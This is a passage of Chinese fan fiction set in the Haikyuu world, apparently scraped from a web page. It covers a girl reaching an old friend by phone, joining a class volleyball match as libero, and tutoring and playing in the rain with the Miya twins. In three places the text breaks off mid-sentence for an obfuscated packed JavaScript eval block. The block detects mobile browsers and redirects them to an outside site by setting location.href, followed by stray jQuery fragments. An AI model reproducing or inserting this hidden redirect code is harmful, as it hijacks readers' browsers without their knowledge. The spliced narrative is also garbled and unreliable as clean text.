宫侑轻哼一声,不过还是道:“好啦好啦……我帮你问问就是了,不过那个佐久早可不会随便和别人加好友,我都是他的教练好说歹说他才愿意和我加好友的……” 他拿出手机,划拉了好一会儿消息列表才找到佐久早,把编辑好的信息发过去—— 两秒后,南见月和宫侑看着发出的信息前面的红色感叹号面面相觑。 宫侑不借,他瞪着手机震惊:“这个佐久早,不就是不小心踩了一下他的包吗,还有当时不小心在他旁边打了个喷嚏……他居然拉黑我!” 活该! 。。。。。南见月无语。 “你把他的联系方式直接给我吧,我自己跟他说。” “哦。” 宫侑鼓着脸颊把佐久早推给了南见月。 24.皮蛋瘦肉粥 “诶?这是……” 晚训结束,古森在收拾东西准备回家,却在自己的包里掏出了一盒长高高牛奶。 他无奈地笑笑,“都说了没关系,结果还是每天都收到赔罪牛奶啊。” 同样在一边收拾的佐久早圣臣静默片刻,道:“抱歉。” 要是亲手把花交给古森元也,说不定…… 古森元也刚把吸管插进去,还没喝一口就开始安慰表弟。 他露出毫无阴霾的笑容,大大咧咧地道:“都说了是意外,没关系啦,而且多亏了小臣我才知道她的消息嘛。” 两人像往常一样一起放学回家,在离各自的家不远的岔路口道别。 佐久早想起IH的第二天。 从那天古森元也看见袋子里的小狗馒头就开始不对了起来。 被水浸染后,墨水在便签上洇成不规则的黑团,能够辨别的不过短短几行字,古森元也却捏着便签沉默了许久。 他确实向疯狂道歉的闯祸二人组及时表示了“没关系”、“每个人都会犯错的”、“你们只是不小心”、“下次注意就好”之类的话,但任谁都能看出来他的失落。 Inter High的半决赛,古森元也第一次作为自由人登上全国的舞台,但他出色地守护了一整局井闼山的后场之后,目光总不自觉地在远处的观众席上流淌。 那张被水浸湿、又被古森元也细心吹干的便签,始终夹在他的练习册里,上课时每次不经意地翻到都会看着它走神…… 古森元也和佐久早圣臣从小一起长大,他们一直在同一个学校、同一个班级、同一支球队。 所以即便古森总说着没关系,但他知道,元也他明明很在意。 佐久早在两人分别的路口站立了好一会儿才回到家,他像往常一样吃晚饭、做练习、看录像带……直到放在桌上的手机突然响起来电铃声。 外面的天色早就暗了下来,会是谁打来的? 佐久早圣臣拿过电话,来电的号码没有备注,甚至不是东京本地的号码,但尾号却有几分熟悉。 按理来说他一向不会接这种可疑的陌生来电,但在某种奇妙预感的驱使下,佐久早按下了接通键。 “……喂?” 电话那边的人似乎是松了口气,道:“佐久早君,这么晚打扰了,我是……” 原来是她。 或许是担心他不相信,电话里熟悉的女声细细讲述了原因。 听到南见月说她是从那个宫侑那里找到的自己的联系方式,佐久早圣臣突然道“你不在东京?” 南见月闻言有些奇怪,不过还是回答道:“是的,国中毕业我就没有在东京了,现在在稻荷崎上学。” “马上期末了,我暂时抽不出时间来东京。可以麻烦你把古森君的联系方式给我吗?” 佐久早圣臣沉默片刻,应答下来。 挂断电话,佐久早圣臣打开社交软件,看见了后台的好友申请。 房间里还没有开灯,唯一的光源只有手机发光的屏幕。 光照在他的脸上,卷曲的额发遮住一半黑沉沉的瞳孔,佐久早圣臣在弹出的添加窗口点下了确认。 他将奇怪而可怕的念头扼死在心里,迅速将古森的联系方式发了过去。 对方很快就显示了已读,随后便发来感谢的信息。 他想起那只递来消毒湿巾的手,她的脸在闭上眼睛时变得更加明晰。 一年前那天,古森元也原本是和他约好了要来他家和他一起看比赛的,但佐久早一直等到晚饭点都过了,古森也还没来。 后面听说是古森元也见义勇为所以才来迟了,没想到一年过去了,这事儿还能有后续。 这个世界无时无刻都在发生着阴差阳错的意外,却接连两次都发生在了南见月和古森元也之间。 但…… 房间里传来一丝轻叹,佐久早抿唇按熄了屏幕,心想这两人的缘分如同雨中蛛丝般飘摇不定,却又坚韧非常。 纵经风雨,亦未断绝。 —— 宫侑把佐久早圣臣的社交账号推给了南见月,但距离她发出好友申请已经过了半天了还没有回信,于是她便选择了更快捷的方式——打电话。 所幸这位佐久早君也是爽快人,南见月只是介绍了一下自己,对方就把那天的事情详实地解释了一遍。 便签被水浸湿了…… 这是什么巧合事件2.0。 佐久早圣臣发过来的是一串数字,应该是古森元也的电话。与一年前他给的纸条上的数字重合,只是被水模糊的三位数字此刻清清楚楚。 终于拿到了联系方式,南见月眉目愉悦。 她哼起轻松的小调,将号码拨出去。 “嘟嘟——” 只是响铃了片刻,电话便被接起。 手机里传来对面的呼吸声,南见月顿了一下,主动打破沉默:“你好?” 还是没有回话。 南见月有些疑惑,她再次道:“你好?是古森元也吗?我是……” 古森元也的声音终于从电话里传来。“我知道是你。” 或许是经历了变声期的关系,他的声音比之一年前少了几分清越,带上了低沉。 见她不说话,古森元也又道:“我不是故意不联系你的……” 他将佐久早圣臣刚刚给他说过的原因更加详细地转述了一遍,末尾还道:“我这几天,有自己把湿掉的位置补上可能的数字,打出去了好多次,但是可惜都没猜对……” 南见月闻言笑了笑,也道:“其实我之前也猜着补全号码打出去过,虽然当时话都说不太流利……有次太晚了打电话,应该是打扰到了人家,对方说了什么就挂了……” 她叹了口气,小声道:“……不过当时语言学的不是很好,就算是被骂也没太听懂哈哈。” 在她看不见的电话这头,古森元也收起笑容,抿紧了嘴唇。 他心想,当初那个只能靠英语和比划和他交流的女孩子,如今能够用一口流利的日语讲述自己因为来到异国发生的趣事,但适应的过程又怎么会像她说的这样轻松。 他道:“但是你现在说的很流利啊。这一年里融入新环境肯定很不容易,不过应该交到了很多新朋友吧。” 虽然当初觉得搬家搬习惯了,但是初到一个国家必然伴随着很多不习惯。 语言上的学习只是第一步,大到如何学着新的社交和生活默认规则,小到学着提前收看天气预报来习惯东京的多变天气…… 南见月顿了一会儿,道:“你说过的,你是【Friend No.1】。就算在之前这段我们都没有互通姓名的一年里,你也是我在这片土地认识的第一个好朋友。” “谢谢你过来跟我说话,谢谢你给我撑伞,谢谢你的小狗馒头。” 古森元也捂住自己发烫的脸颊,过了好一会儿,低低的笑声才从电话中传来,“也谢谢你的花。” 南见月还要说什么,但她的房间门被敲响了,由纪子的声音传来,“吃晚饭了哦!” 应了一声,她对着电话里的古森元也道:“家里人喊我吃饭啦,等会儿聊?” “好哦,快去吃饭……啊,我妈妈也来叫我吃饭了!” 挂断电话,古森元也捂住自己快要跳出来的心脏。 他捂着手机趴在桌子上用脑袋磕了好几下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她眉目舒展,连这样的挑衅搞怪也带着三分柔和笑意,满溢着的活人气息让桃濑雪菜捂住眼睛,“此处禁止散发魅力!” 不过她也没忍住被好友散发着的愉悦气息感染,走过来搂住南见月的脖子与她打闹,“好啊你,也不想想是谁每天在你上课打瞌睡的时候帮你遮掩!还不告诉我……” 南见月握住她的小臂想要扯开,发现扯不开之后就开始装,“哎呀,扯到头发了,好痛哦——” “少骗人了!” 两人打打闹闹直到上课,连宫侑经过都没发现。 宫侑轻哼一声想要试图引起注意,无果后安分坐下。 但连他也感觉到了。 今天的南见月,简直十分有一百二十分的不对劲。 午休的时候,角名看见南见月开心地买了两个脆筒雪糕,看见他的时候又投下一枚硬币,说要请他吃饮料棒。 拿着饮料棒,角名伦太郎一边拆包装一边问旁边已经开始咬脆筒的南见月,“你中彩票了?这么大方。” 南见月被冰的牙齿发酸,皱着脸道:“没啊,今天高兴。” 角名伦太郎收回狐疑的目光,咬了一半饮料棒还不忘劝解道:“吃两个雪糕,你不怕肚子疼吗?” 猛然被提醒,南见月犹豫了下,她看了看剩下的一个柠檬味雪糕。 “也是,那……这个请阿治吃好了。” 角名被她恋恋不舍的目光逗乐,从包里掏出一颗巧克力给她,道:“给你,不用谢了。” “哦。” 25.刨冰 第二节是体育课,南见月和桃濑换好体操服一起来到排球馆。 课程结束还有十分钟的自由活动时间,南见月正准备和桃濑找个角落休息,却被丸山老师叫住了。 虽说之前就说过阶段测试会采取练习赛的方式,但她们班应该也没有缺人到要让她上场的程度吧。 1班和5班在排球课的最后两个星期的课程中,重新按照班级分组。只是在班级里又细分了女子排球队和男子排球队。 这场练习赛的表现会作为这个学期的排球选修课节课成绩的重要参考。虽然因为上场人数有限制,一个班的人肯定不能全部参赛,但可以保证后勤以此为团体贡献力量。 老师宣布这个事的时候南见月就只打算参加后勤组,虽然上场的人员会有额外加分,但是她算了算分数组成,觉得自己的平时分也能直接及格。 所以没必要上场累死累活吧…… 所以丸山美惠和1班队伍里已经确定下来的二传手花井琉奈找过来,说希望她能上场的时候,她便直接摇了摇头表示了拒绝。 “我觉得不行。” 花井琉奈叹了口气,她苦恼地揉了揉自己凌乱的亚麻色短发,道:“要不,我们先商量一下?” 南见月两手摊开,道:“都两个多月了,你们应该可以看到吧。我体力不行,身高不够,跳也跳不高,又没什么力气……” “上次花井同学你把球传给我,我直接就是一个标准的打网,完全没办法得分啊——” 丸山美惠恨铁不成钢,把她的手拍掉,道:“虽然你刚刚说的那些都是事实,但……” 她的语义虽说是肯定南见月的观点,但似乎并未死心。 “其实我一开始就没打算让你作为主攻手上场。” “诶?” 丸山美惠轻咳两声,“我想让你以自由人的位置上场,你觉得呢。” 自由人? 这么有技术含量的位置,在大多数队员都是排球入门者的结课考试性质的练习赛上,由她担任? 南见月还算是看过好几场正式的排球比赛的,所以她震惊地崩了表情,不可置信地重复了一遍问道:“自由人?我吗?” “老师你,在跟我开玩笑对吧。” 还没等丸山美惠回答,站在一旁的花井琉奈便坚定地道:“当然不是开玩笑啊!南同学,请在这次的比赛中上场吧,我们需要你的力量!” 南见月扶额,花井同学你能不能不要随随便便说这种中二到极点的话啊。 一个两个的今天都是怎么了? 在班上南见月和这位花井同学不算熟悉,但在排球课上还是搭档过几次的。 花井又继续道:“南同学……你的一传有些时候并不是特别到位……” 南见月赞同点头,深以为然道:“我也觉得。” 在这之前作为主攻手但大多数时候都在擦地板救球的情况下,南见月只能保证球不会在她手上落地。 而排球是又恰好是一项不能持球的运动,在紧张的赛间,她完全无暇顾及将球传出去的落点和角度。 “但是必不可少。” “所以可有可无。” 上一句来自花井琉奈,下一句则是出自南见月之口。 南见月无奈,“花井同学,你是认真的吗?我的一传并不好接啊,为什么……” 但花井琉奈显然更执着,她抓着自己的头发,甚至还不小心揪下来几根。 整理好情绪之后,花井琉奈冲到南见月面前,抓住她的手举至胸前与南见月对视。 南见月比花井琉奈矮了将近十厘米,只能略微仰头直视着那双深棕色眼睛。 花井琉奈神色认真:“如果球落地了的话就什么都无从谈起了,所以无论什么样的一传都是弥足珍贵的。我在场下看到南同学你救球的样子……就算是撞到墙壁也会马上爬起来做拦网保护,就算我们这边的攻手下网你也会很快地反应过来,很多我们都觉得没办法了的球你也能救起来…” 啊……又是难搞的排球狂热爱好者啊。 “停——” 南见月抽出手,她侧过脸,不去看花井那双期待的眼睛,“其实我有兼职工作,抽不出时间,而且其实我也不太想上场……” 周末去农场义务劳动当然算是兼职工作吧…… 还有就是,如果真的答应参加这次的练习赛的话,肯定要用更多的课余时间参加训练,必然会压力巨大又各种劳累。 所以不如一开始就果断地拒绝掉。 花井琉奈还想说什么,但丸山美惠已经叹了口气阻止了她。 丸山美惠拉着花井走之前道:“见月,如果你改变主意,可以随时找我或者花井。” 南见月点点头。 在活动室换衣服的时候,刚刚被丸山拉出去谈话的花井又走了过来。 南见月只来得及拢好衬衫,脑子里告诉思考该怎么拒绝,但花井琉奈已经大步走到她面前郑重地鞠了一个躬。 刚刚她在背后的双手上攥着什么东西,此时正随着她鞠躬的动作往前递。 是一个皱皱的信封。 见南见月不接,花井琉奈便直接把信封塞到了南见月的手里。 “南同学,这里面……这里面是我这个月所有的零花钱了。” ? 什么意思?要用钱来收买她吗? 南见月的头上冒出不解的问号,但花井琉奈显然不会读空气,她道:“等我拿到了下个月的零花钱我也给你,所以请你再考虑一下作为自由人上场的事情。” 南见月难得地生出几分后悔,抓着如同烫手山芋般的信封想要解释,“不……不是这样的……” 她并不是因为缺钱才去打工啊,果然应该更加直接地拒绝吗? “我知道对于南同学来说,这场比赛,或者说排球本身就是不算重要的东西。但我非常非常想赢下来,而看了你在场上的样子,我觉得要赢下来,必须要借助你的力量。” 花井琉奈深吸一口气,“……你曾经说你作为主攻手……完全没办法得分,但站在场上,并不是说不能得分的存在就是需要剔除的,不然也不会有自由人的存在了。对于自由人来说,不失分,就是得分了吧!” “拜托了,就算是试试也好,加入我们吧!” 花井琉奈,与对面5班的村尾同学同为稻荷崎女子排球部的部员,并且都是二传手。当然如果光论技术水平,那肯定是作为特招部员的村尾光希更胜一筹。 性格执拗,坚信勤能补拙。 南见月叹了口气,又认真地想了想。 最终,她道:“好吧。” 她打开信封,在花井琉奈不可置信的目光之下,倒了一枚500円的硬币出来后又把信封合上还给她。 “OK……就这个吧,来,剩下的还给你。” “你答应了?” 收好硬币,南见月继续扣校服衬衫的扣子,点头,“是啊。干嘛?你不是想让我答应吗?我都答应了怎么还这副表情。” 戴好领结,见到花井琉奈还维持着刚刚的动作,南见月觉得有趣,帮她理了理翘起来的亚麻色发丝,道:“我拿500円是不是太多了?” 花井连忙摇头,“不不不不……南同学,谢谢你!答应我的无理要求什么的。” “不用谢,感谢你自己吧。我被你说动了,试试看也未尝不可。” 南见月耸耸肩,“反正大家不是都说……” “排球这项运动不会死人吗。” —— “今天不用训练啊。”宫侑拉了拉南见月包上的巴啵酱挂件,他现在才注意到南见月今天把包上的挂件换成了一只明黄色的巴啵酱。 “听阿治说学校外面新开了一家刨冰店,我们等会一起去吃吧!” 南见月正在回信息,她摇头拒绝,道:“我有事。” 她想背着包起来,但宫侑拽着巴啵酱挂件的胳膊不放手,于是南见月也受制于他,“放开啦。” 这是她当时在IH的会场外面,和花一起买的,昨天和古森聊完天的时候想了起来,顺手就换了上去。 宫侑撑着下巴,鼓着嘴巴问道:“你这人怎么这么忙啊,我每次约你都失败。啊!我在跟你说话诶,怎么老是在看手机。” 刚好此时花井踌躇着走过来,道:“南,我们交换一下联系方式好吗,从明天开始就有训练了哦。” “嗯……好。” 宫侑看着她们交换,疑惑地道:“是花井啊,怎么,你要在这次的练习赛中上场吗?” 南见月存好号码,点了点头,“改变主意了,答应先去试试看。” 花井走了,宫侑变本加厉地摇着南见月的肩膀,道:“那你以后一定会更忙吧,今天先和我去玩吧,去嘛去嘛——” “嘀嘀——” 有新消息,南见月点开看了一眼,撇开宫侑的手,“是真的有事。” 因为春高预选赛临近,稻荷崎男子排球部周末的训练加重了许多,也为了劳逸结合,周五的晚训便取消了。 宫侑连带着宫治,原本打算去排球馆自主训练,被早就预料到如此的北信介揪着后衣领赶了出去让他们回去好好休息。 路上,两人又因为鸡毛蒜皮的小事吵了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576139|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追逐着跑出校园,又吵吵闹闹地坐上电车,一起来到购物中心。 宫侑和宫治去买了实况足球的新卡带,刚从扶梯上下来就看见了从地下通道上来的南见月,和他们一样穿着稻荷崎校服的少女走进了亚瑟士的门店。 是南见月。 宫治下意识就想喊她,“Mi——” 然而嘴刚张开就被身边的同胞兄弟捂住了,下意识给了宫侑一手肘的宫治轻易便挣脱了他的束缚。 毕竟力4可不是说说而已。 “你干嘛?” 宫治看着龇牙咧嘴的宫侑,不解地问道。 两人刚走到店外,能透过透明的玻璃墙看见少女在摆满商品的货架间穿梭。宫侑担心被看见,来不及和宫治算账,神神秘秘地拉着宫治到一边,借着店门口纸质立牌和海报挡住了自己。 “喂,她是不是在打电话啊。” 宫治指了指戴着耳机的南见月。 两人说不上来,但都觉得今天的南见月似乎和往常不一样。 像是被风吹起的花瓣,她低头对着电话说话的表情里掺杂着失而复得般的轻松,一举一动都带着轻盈又纯然的快乐。 宫侑摸着下巴,终于觉出不对,“她该不会……是……在等人约会?!” 宫治与他对视,两人俱是瞳孔地震。 南见月暂且不知道外面的情况,她挑了一双经典款的护膝,耳机里传来古森元也认真的声音,“……护臂可以看你的需求,它的主要作用是吸汗和收缩肌肉,也有一定的防撞作用,你如果经常撞到手肘,也可以买一对。” 虽然知道那边看不见,南见月还是点点头,然后仔细挑选着货架上的护臂。 古森元也听见了那边窸窸窣窣的声音,他继续问道:“小月你……” “怎么了?” 南见月把手机靠近耳边,因此能够很清晰地听见古森元也说话时候的每一处停顿,“为什么会答应同学参加比赛呢,还是以自由人的位置上场,怎么说都是能得分的攻手和二传更引人注目吧。” 按照规则,自由人只能与后场的球员进行轮换,不能扣球、拦网、发球,几乎不可能直接得分。 “话是这么说啦……但是如果是你的话,应该也不会觉得不能得分所以就不重要吧。花井,啊,就是今天劝我上场的那位同学说,对自由人而言不失分就是得分。” 古森元也有些感动,紧接着就听见她继续说道:“虽然我其实觉得这算是个悖论……” “呃……” 南见月挑的有些眼花,干脆随便拿了一个。 “而且小元你不也是选择成为了自由人吗?花井来劝说我的时候,我想起了之前看的录像带,看到你把那种离谱的球垫起来的样子,总觉得不可思议,好像被你传达了些尝试的力量和勇气,所以突然也想要体验一下那种——让所有人都大吃一惊的感觉。” 付账结束,店员姐姐去拿赠送的礼物,南见月靠在前台玩手机,余光一扫却看见店外有一片熟悉的校服衣角。 宫侑宫治开始对账南见月的异常是从什么时候开始的,然后还没合计到一半就双双感觉头皮一痛,眼睁睁地看着对方的头顶上落下了一只白皙的手。 “痛痛痛痛痛痛——” 南见月抓着两只的头发把人从角落里揪了出来,“你们跟踪狂?信不信我报警把你们抓起来?” 宫侑眼泪都要被揪出来了,事实上也的确是的,再加上心里有些不足为他人道的委屈,眼睛一眨就落下一颗滚圆的泪珠,“我……我本来就是要来这里买新卡带的,不信你让阿治给你看!” 南见月看向宫治,表情痛苦的他猛猛点头。 宫治的可信度在南见月这里稍高一些,于是她轻哼一声便松了手。 “那真是抱歉哦,不过你们干嘛蹲在这里?” 被放开的宫侑揉着自己生疼的头皮,对她毫无诚意的抱歉不满地道:“蹲在这里也没犯法吧,你要是看不惯就报警把宫治抓起来啊!” 宫治瞪他一眼。 厚脸皮的黄毛狐狸似无所察,指了指她提着的纸袋,问道,“你不是有事吗?就是买东西吗?” 南见月点点头,道:“嗯,请教我一个是自由人的朋友怎么买防护用品,现在买好了。” 见她要走,宫侑连忙拦下她,道:“诶诶别走啊,来都来了,我们去吃刨冰吧,阿治请客!” 宫治石更石更的拳头在降临到宫侑头上的前一秒,南见月点了点头,道:“我请你们吃吧。” 宫侑宫治疑惑抬头。 南见月摘下耳机,道:“正好有点事给你们说说。” 26.刨冰(后记) “刚才不是还吵着闹着要吃刨冰吗,怎么端上来了倒客气起来了?” 宫治宫侑坐着也比南见月高出半个头,他们此时并排坐着,腰背挺直,双手置于膝上,是典型的如临大敌坐姿。 面前摆放着两份刨冰,但两人你看看我我看看你,看了看刨冰又看南见月,谁也没动。 刚刚南见月带着两人去点单,宫侑宫治像是被拔了发条的机械玩具,乖巧又内敛地指了自己想吃的,完全不复之前的张扬模样。 像是意识到了是暴风雨来临前的平静一样。 见两人依旧不说话,南见月把自己正在翻看着的杂志关上,放在桌边,道:“我还什么都没说你们就这样了,等会我说了再坐立难安也不迟吧。” 听到南见月的话,宫侑和宫治对视一眼,心中的不安愈发浓重。 她都这么说了,当然更是坐立难安了啊。 与其坐以待毙,不如主动出击。 宫治咽了咽口水,道:“到底怎么了啊?” 宫侑也连连点头。 被他们这样看着的南见月,慢悠悠地从包里取出来了两张纸。 “这是刚刚放学前,北前辈给我的……” 指甲隔着纸张碰撞在桌子上的声音几不可闻——落在宫侑宫治的耳朵里,和法官宣判罪行时落下的法槌无甚差别。 目光下移,雪白的纸张上印着他们的名字和各科数据。 数字各不相同,但同样惨烈。 “……你们的成绩单。” 南见月随便捻起其中一张,“现代文37,数学26,英语25……” 还没念完就被宫侑抢走,他似乎有些不好意思,将自己的成绩单捏成了皱巴巴的一团攥在手里。 南见月瞟了他一眼,正准备拿起宫治的成绩单,但这次却感觉到了阻力,看过去才发现是宫治拽住了成绩单的一角。 算了。 南见月靠上椅背,道:“北前辈说你们暑假会有合宿,如果期末考试还是这个分数的话,应该会被留校补习的,到时候就去不了合宿了。” 短短几分钟,刨冰已经融化了些,原本规整的形状塌陷了些。 南见月看着头越来越低的两只,叹了口气,道:“道理你们都懂的吧,我也不多说了。两周之后期末考试,我们还是像之前一样午休时间补习,明天早上我要去训练,后面再看情况……诶?” “轰隆——” 南见月和宫双子循声望去,刚刚还碧蓝无垠的天空仿佛被蒙上了一层灰,随着一声惊雷,乌云集聚起来,只是几息之间就降下豆大的雨滴。 下雨了。 即便是隔着一层玻璃,也能听见雨点淅淅沥沥地砸下来,风吹着树叶互相摩挲的声音,混合着尖细的鸟鸣。 雨水打在玻璃上经过的地方留下了模糊的水痕,宫侑像是幼稚园的小孩,褪去了刚刚垂头丧气的模样,对面前一场再寻常不过的大雨展露饱满又积极的情绪。 他贴近玻璃墙,试图看清楚对面街角处那只在车站檐下避雨的动物,“你们看!那里是不是一只猫?” 宫治和南见月看过去,朦胧的雨幕里,远处的小小阴影模模糊糊的,只看得见轮廓,紧紧贴着长椅。 也难为宫侑眼睛这么尖了。 “是吧……” 宫侑不满:“好敷衍!” 夏天的雨来得突然,但一般也停得很快,所以被迫滞留在店内的客人们反而显出几分忙里偷闲的惬意,连店员们都打开了店内的电视机播放娱乐节目。 宫治看了看天气预报,道:“这个雨可能要下一个小时左右。” “那要在这里待一个小时啊……” 南见月倒是无所谓,她翻出练习册准备将周末的作业先写完。 宫治也拿出了自己的作业本。 所以等宫侑左看看右看看,直到那只疑似猫咪的小动物蹿进一边的栅栏失去了踪影。 他收回目光,一转头就看见宫治已经坐到南见月那边,正在问她数学题了。 他自然不甘示弱,说自己也要写作业,在包里四处翻找但无果后才发现,他根本没有把练习册带回来。 南见月扶额,“笨蛋。” 不过她和宫侑是一个班的,把练习题目抄录给他就可以了。 也算是因为天气原因导致的临时补习,虽然两人总在暗暗较劲,但不影响教学的话南见月也是睁一只眼闭一只眼,总体来说还算得上积极认真。 雨渐渐的停了,南见月也完成了所有的家庭作业,又因为给他们补习的原因复习巩固了一下前面的内容。 本周的学习任务完成。 她看了看外面的天色,开始收拾起书包。 宫治看见她包上的那只巴啵酱,“刚换的挂件吗,你喜欢巴啵酱?” 他越看越觉得眼熟,“这个颜色,不是今年IH的限定款吗?” 南见月收拾东西的手一顿,目光开始游移,道:“是吗?这个……” 那个时候她看到这个摆在最显眼的位置,所以就随手拿的,哪知道这是什么限定贩售款啊。 早知道不如直说好了,到现在才解释她当时去了的话,好像又怪怪的。 但宫治看她苦恼的样子反而笑了笑,道:“好了,我就随便问问。走吧,我和阿侑送你回去。” 幸好没有追问。 南见月松了口气。 大雨初歇,在空中盘踞的厚云终于退散到了天空的角落,露出已经在缓缓下落的太阳。低垂的云朵间绽放出鲜艳却不刺眼的霞光,为漫山遍野镀上一层金色的光。 空气倒是很清新,路上有许多凹凸不平、盛满雨水的水坑,映出三个人的身影。偶尔树上的叶片滑落下来的水滴融进其中,溅起的涟漪泛起层层波纹。 有些地方的水有些深,她正小心翼翼地走路,防止打湿鞋子。 正想提醒一下身后两只,南见月还来不及说话,身后便传来砰的一声。 宫侑偷偷踩向宫治旁边的一个水洼,但宫治何其了解他,于是早有准备的往一边避开。 “你是猪吗?” 被扬起的水四处飞溅,下意识转身的南见月看见大惊,连忙往一边闪避。 但她退的太快,再加上雨后的地面湿滑旁边又是台阶差点滑倒,宫治眼疾手快,连忙拉住她的手臂。 虽然没摔,但顾头不顾尾的结果就是两人被溅起来的水泼了个正着。 被风刮下来,落入水洼里的花瓣、树叶,此时挂在南见月的湿淋淋的鞋子和裙子上。 宫治和宫侑同时噤若寒蝉。 南见月笑了笑。 ——当然是被气得。 她把包递给宫治,“阿治,你站到旁边去。” 宫治一声不吭,接下包乖乖照做。 南见月走到宫侑面前,两人中间的水洼倒影出宫侑慌乱的表情,“你听我解释,我只是想抓弄阿治的——啊!” 没等他说完,南见月已经抬脚重重地踩了下去。 正中水坑中心——溅起的白色水花带着四散的水珠,折射的最后几缕微弱阳光分解成彩色的光线,划过两人的视线。 最后,清凉的水珠平等地溅在两人身上。 因为是夏天,两人都穿的是短袖衬衫,风吹过时被水沾湿的皮肤上泛起微微的凉意,连发丝间都挂着晶莹的水珠。 宫侑大叫:“诶诶诶!落到我脸上了诶!你也是,哈哈哈哈——” 南见月回敬过去之后才觉得有些冲动,但或许是被宫侑狼狈但又开怀大笑的样子感染了,她的心情也轻松起来。 轻哼一声,她又一连踩了旁边的好几个水洼。 宫侑见南见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580127|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月不生气了,连忙跟在她身边,两人比起来谁踩得水花更大。 反正鞋子和裙子都湿了,不如踩个过瘾。不过两人都是不服输的性格,没一会儿他们两个人都像是从水里捞起来的一样。 南见月披在身后的下半截头发已经全部湿了,凝成一缕缕地贴在背后。 宫侑也不遑多让,而且他刚刚撞到了一颗路边的树,枝叶随着树干一齐摇晃,叶子上的水随着重力下落,这家伙凭实力让树下的三人淋了一场独属于他们的雨。 最后是宫治叫停了这些幼稚行径,他从自己包里取出运动服外套,披在南见月身上。 挂在天边的太阳已经快要完全下山了,只留下一线橘黄的边,风吹过来的确是有些冷的。 南见月道谢之后自己把拉链拉上,又从包里拿出纸巾和他们分了分。 “起码擦一下脸和头发吧。” 宫侑和宫治倒是不在意,攥着自己的衬衫下摆把水拧干,用力甩头的样子像是被雨淋湿的两只小狗。 好狼狈。 到南见月家的时候天已经差不多黑了,由纪子开了院门的灯,震惊地看着落汤鸡似的三人,“被雨打湿了吗你们?怎么也没找个地方躲一下雨?” 不好意思说是因为踩水坑搞成这样的南见月点头,看向别处不太自然地道:“对,雨下得太突然了。” 由纪子笑了笑,让他们先进来吹头发。 宫侑宫治看了看南见月,南见月看见他们湿淋淋的样子也有些无奈,“奶奶都叫你们进去了,快走啊,不然感冒了别赖上我。” 吹完头发,换了干衣服的三人还被由纪子灌了预防感冒的姜茶。 宫侑宫治穿的干衣服来自南雪正的旧衣。 —— 第二天的周六早晨。 南见月打着哈欠来到安静的学校的时候,刚好撞上跑过来的花井琉奈。 亚麻色的短发在空中飞扬,看见南见月,她一边招手一边大声地打着招呼。 “南——早上好!” 反正南见月觉得自己这辈子都理解不了这种每天早上都活力满满的人,她光是起床就觉得自己已经拼尽全力了。 “女排的训练从下午一点开始,所以早上我们可以尽情使用这里!” 南见月和花井来得比较早,她们一边把网挂上一边闲聊。 “花井同学……” “叫我琉奈就好!” 南见月愣了愣,叹了口气就从善如流地改口,“琉奈,我们今天要做什么?” 花井琉奈闻言眼睛一亮,她从自己的口袋里掏出一张纸条,能看到上面铅笔的痕迹,像是自己手写的训练计划。 “我看看啊——啊,热身之后是练习准备姿势和移动步法,然后三角形垫球,有手感了在进行发球训练,见月,可以这么叫你吗?好的!见月你这个阶段就练习接发球,然后……” “啊!你们来了!” 副攻手东小路若叶、溪山葵,主攻手山田樱子、竹村由利奈、柴田麻美、野泽玲依,二传手花井琉奈,再加上南见月,一共八个人。 东小路问道:“到齐了吗?” 正在组织大家活动身体的花井摇了摇头,“还差桃濑。” 南见月有些疑惑,“桃濑,她也要参加吗?” “嘿嘿——我来啦!” 桃濑雪菜推开门走进来。 南见月走过去,有些疑惑,“怎么之前没听你说你也要来?而且你不是很讨厌接球吗?” 桃濑雪菜坐在地上换鞋,道:“对啊,但是我跟丸山老师说我跑得快,老师就说让让我来试试副攻手。” 她靠在南见月身上系鞋带,道:“所以到时候到我后卫了,小南你可一定要把我轮换下去喔,不然我一定会被丸山老师说是漏球筛子的!” “……知道了。” 27.牛肉盖饭 “首先是十圈绕场跑。” “然后是五组折返跑。” “三人一组跑动垫球!” “……” 好累。 南见月撑着膝盖站直身体入列,听到花井说出“热身结束,开始训练”的时候已经毫无情绪波动,反而有一种心如死灰的感觉。 站在她身边的桃濑戳了戳她,道:“你还好吧?” 用手抹了把汗,南见月点头,“还好。” 首先是发球训练,除了自由人以外的位置都需要练习的技能。而发出的球也不能浪费,自然是作为南见月的接球练习。 作为副攻手的东小路第一个发球,她成为副攻的一个很大原因就是因为身高。 她足足有一米七一,在平均身高不到一米六的日本,算是名副其实的高个子女孩儿了。 手长脚长,她的球基本都能过网。听说是国中还在扔铅球比赛上拿过奖,有力气,球势自然也不错。 但是…… 一不小心就会发球出界。 为了防止正在情况,她习惯把球往上发。 所以这球很高,很好接! 